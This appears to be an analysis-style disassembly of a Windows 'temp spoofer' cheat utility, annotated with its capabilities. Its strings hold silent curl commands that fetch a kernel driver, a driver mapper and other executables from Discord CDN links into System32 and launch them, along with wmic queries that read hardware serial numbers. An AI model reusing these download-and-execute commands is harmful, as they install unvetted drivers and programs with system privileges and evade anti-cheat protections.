Function at 0x1400114dd
Capabilities:
Create process on windows
Execute command

Disassembly:
jmp 0x140017f30
push rbp
push rsi
push rdi
sub rsp, 0xdb0
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x268
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140027018]
xor rax, rbp
mov qword [rbp + 0xd58], rax
lea rcx, [0x14002d0fd]
call fcn.1400116ef
xor eax, eax
cmp eax, 1
je 0x140018834
lea rcx, str.title_QS_Ware_Free_Temp_Spoofer
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, [0x1400227a0]
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.color_B
call qword [sym.imp.ucrtbased.dll_system]
lea rax, [rbp + 0x564]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x590]
lea rcx, [rbp + 0x564]
call fcn.140014850
mov rcx, rax
call fcn.1400110dc
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110cd
lea rdx, str._n_n_n_n_n
mov rcx, rax
call fcn.1400110cd
lea rax, [rbp + 0x5f4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x618]
lea rcx, [rbp + 0x5f4]
call fcn.140014a80
mov rcx, rax
call fcn.14001164a
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110cd
lea rax, [rbp + 0x644]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x668]
lea rcx, [rbp + 0x644]
call fcn.140014af0
mov rcx, rax
call fcn.1400111ae
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110cd
lea rax, [rbp + 0x694]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x6b8]
lea rcx, [rbp + 0x694]
call fcn.140014b60
mov rcx, rax
call fcn.140011104
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110cd
lea rax, [rbp + 0x6e4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x708]
lea rcx, [rbp + 0x6e4]
call fcn.140014bd0
mov rcx, rax
call fcn.14001165e
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110cd
lea rax, [rbp + 0x734]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x758]
lea rcx, [rbp + 0x734]
call fcn.140014c40
mov rcx, rax
call fcn.140011073
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110cd
lea rdx, [rbp + 4]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
cmp dword [rbp + 4], 1
jne 0x14001824f
lea rcx, [0x1400227a0]
call qword [sym.imp.ucrtbased.dll_system]
lea rax, [rbp + 0x784]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x7a8]
lea rcx, [rbp + 0x784]
call fcn.140014cb0
mov rcx, rax
call fcn.140011587
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110cd
lea rcx, str.curl___silent_https:__cdn.discordapp.com_attachments_1155863594186055740_1165350643205148732_random_spoofer.me_.sys___output_C:_Windows_System32_random_spoofer.me_.sys_2_1
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.curl___silent_https:__cdn.discordapp.com_attachments_1155863594186055740_1165351602983551077_Vanguardmapper.exe___output_C:_Windows_System32_Vanguardmapper.exe_2_1
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.start_C:_Windows_System32_Vanguardmapper.exe_C:_Windows_System32_random_spoofer.me_.sys
call qword [sym.imp.ucrtbased.dll_system]
lea rax, [rbp + 0x7e4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x808]
lea rcx, [rbp + 0x7e4]
call fcn.140014d20
mov rcx, rax
call fcn.1400111b3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110cd
mov r9d, 0x40
lea r8, str.Done_Temp_Spoofing
lea rdx, str.Make_sure_to_thank_your_daddy_adin_for_the_spoofer
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rax, [rbp + 0x844]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x868]
lea rcx, [rbp + 0x844]
call fcn.140014d90
mov rcx, rax
call fcn.1400112f8
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110cd
mov ecx, 0xdac
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400184bf
cmp dword [rbp + 4], 2
jne 0x1400184bf
lea rcx, [0x1400227a0]
call qword [sym.imp.ucrtbased.dll_system]
lea rax, [rbp + 0x8a4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x8c8]
lea rcx, [rbp + 0x8a4]
call fcn.1400143f0
mov rcx, rax
call fcn.1400112b2
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110cd
lea rcx, str.curl___silent_https:__cdn.discordapp.com_attachments_1155863594186055740_1165354218043998279_0_run_last.exe___output_C:_Windows_System32_0_run_last.exe_2_1
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.curl___silent_https:__cdn.discordapp.com_attachments_1144281210730840262_1144786262570582046_traces.exe___output_C:_Windows_System32_traces.exe_2_1
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.start_C:WindowsSystem320_run_last.exe
call qword [sym.imp.ucrtbased.dll_system]
mov dword [rbp + 0x30], 0x68
lea rax, [rbp + 0x38]
mov rdi, rax
xor eax, eax
mov ecx, 0x60
rep stosb byte [rdi], al
lea rax, [rbp + 0xe8]
lea rcx, str.C:WindowsSystem32_traces.exe
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1f
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0xb8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xe8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400183c7
mov edx, 0xffffffff
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rbp + 0x914]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x938]
lea rcx, [rbp + 0x914]
call fcn.140014460
mov rcx, rax
call fcn.140011055
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110cd
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14001841e
lea rax, [rbp + 0x964]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x988]
lea rcx, [rbp + 0x964]
call fcn.1400144d0
mov rcx, rax
call fcn.140011726
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400110cd
lea rdx, [0x140011046]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x140018834
lea rax, [rbp + 0x9c4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0x9e8]
lea rcx, [rbp + 0x9c4]
call fcn.140014540
mov rcx, rax
call fcn.140011384
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110cd
mov r9d, 0x40
lea r8, str.Done_Temp_Spoofing
lea rdx, str.Make_sure_to_thank_your_daddy_adin_for_the_product
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rax, [rbp + 0xa24]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0xa48]
lea rcx, [rbp + 0xa24]
call fcn.1400145b0
mov rcx, rax
call fcn.1400112f8
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110cd
mov ecx, 0xdac
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rbp + 4], 3
jne 0x14001882f
lea rcx, [0x1400227a0]
call qword [sym.imp.ucrtbased.dll_system]
lea rdx, str.e_31m
lea rcx, [rbp + 0x128]
call fcn.140011325
nop
lea rdx, str.e_0m
lea rcx, [rbp + 0x168]
call fcn.140011325
nop
lea rax, [rbp + 0xa84]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0xaa8]
lea rcx, [rbp + 0xa84]
call fcn.140014620
mov rcx, rax
call fcn.1400111ae
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110cd
lea rdx, [rbp + 0x128]
mov rcx, rax
call fcn.140011654
lea rcx, str.wmic_baseboard_get_serialnumber
call qword [sym.imp.ucrtbased.dll_system]
lea rax, [rbp + 0xad4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0xaf8]
lea rcx, [rbp + 0xad4]
call fcn.140014690
mov rcx, rax
call fcn.1400112d5
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110cd
lea rdx, [rbp + 0x128]
mov rcx, rax
call fcn.140011654
lea rcx, str.wmic_path_Win32_NetworkAdapter_where__PNPDeviceID_like___PCI___AND_NetConnectionStatus2_AND_AdapterTypeID0__get_MacAddress
call qword [sym.imp.ucrtbased.dll_system]
lea rax, [rbp + 0xb24]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0xb48]
lea rcx, [rbp + 0xb24]
call fcn.140014700
mov rcx, rax
call fcn.1400112d5
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110cd
lea rdx, [rbp + 0x128]
mov rcx, rax
call fcn.140011654
lea rcx, str.wmic_cpu_get_processorid
call qword [sym.imp.ucrtbased.dll_system]
lea rax, [rbp + 0xb74]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0xb98]
lea rcx, [rbp + 0xb74]
call fcn.140014770
mov rcx, rax
call fcn.1400111f9
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110cd
lea rdx, [rbp + 0x128]
mov rcx, rax
call fcn.140011654
lea rcx, str.wmic_diskdrive_get_serialnumber
call qword [sym.imp.ucrtbased.dll_system]
lea rax, [rbp + 0xbc4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0xbe8]
lea rcx, [rbp + 0xbc4]
call fcn.1400147e0
mov rcx, rax
call fcn.140011005
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110cd
lea rdx, [rbp + 0x128]
mov rcx, rax
call fcn.140011654
lea rcx, str.wmic_baseboard_get_serialnumber
call qword [sym.imp.ucrtbased.dll_system]
lea rax, [rbp + 0xc14]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0xc38]
lea rcx, [rbp + 0xc14]
call fcn.1400148c0
mov rcx, rax
call fcn.1400112d5
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110cd
lea rdx, [rbp + 0x128]
mov rcx, rax
call fcn.140011654
lea rcx, str.wmic_memorychip_get_serialnumber
call qword [sym.imp.ucrtbased.dll_system]
lea rax, [rbp + 0xc64]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0xc88]
lea rcx, [rbp + 0xc64]
call fcn.140014930
mov rcx, rax
call fcn.140011073
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110cd
lea rdx, [rbp + 0x128]
mov rcx, rax
call fcn.140011654
lea rcx, str.wmic_bios_get_serialnumber
call qword [sym.imp.ucrtbased.dll_system]
lea rax, [rbp + 0xcb4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0xcd8]
lea rcx, [rbp + 0xcb4]
call fcn.1400149a0
mov rcx, rax
call fcn.1400114bf
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110cd
lea rdx, [rbp + 0x128]
mov rcx, rax
call fcn.140011654
lea rcx, str.wmic_csproduct_get_uuid
call qword [sym.imp.ucrtbased.dll_system]
lea rax, [rbp + 0xd04]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rbp + 0xd28]
lea rcx, [rbp + 0xd04]
call fcn.140014a10
mov rcx, rax
call fcn.14001155f
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110cd
call fcn.14001137a
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
nop
lea rcx, [rbp + 0x168]
call fcn.14001114a
nop
lea rcx, [rbp + 0x128]
call fcn.14001114a
jmp 0x140017f6e
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x140022280]
call fcn.1400115e6
mov rax, rdi
mov rcx, qword [rbp + 0xd58]
xor rcx, rbp
call fcn.140011375
lea rsp, [rbp + 0xd60]
pop rdi
pop rsi
pop rbp
ret